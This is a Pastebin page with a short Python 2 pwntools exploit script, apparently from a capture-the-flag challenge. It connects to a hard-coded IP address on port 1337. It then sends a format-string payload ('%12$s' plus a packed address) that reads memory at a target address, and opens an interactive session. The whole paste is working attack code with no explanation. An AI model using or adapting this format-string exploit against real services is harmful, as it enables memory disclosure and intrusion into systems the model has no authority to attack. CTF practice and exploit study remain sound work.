SHARE
TWEET

Untitled

a guest Oct 18th, 2019 79 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python2
  2.  
  3. import sys,os
  4. from pwn import *
  5.  
  6. HOST="52.9.166.247"
  7. PORT=1337
  8.  
  9. def exploit(r):
  10.  
  11.     payload="AAAAAAAAAAA"
  12.     payload+="%12$s"
  13.     payload+=p64(0x404080)
  14.     payload+=p64(0)
  15.     r.sendline(payload)
  16.     r.interactive()
  17.     return
  18.  
  19. if __name__ == "__main__":
  20.  
  21.     r = remote(HOST, PORT)
  22.     exploit(r)
  23.     sys.exit(0)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top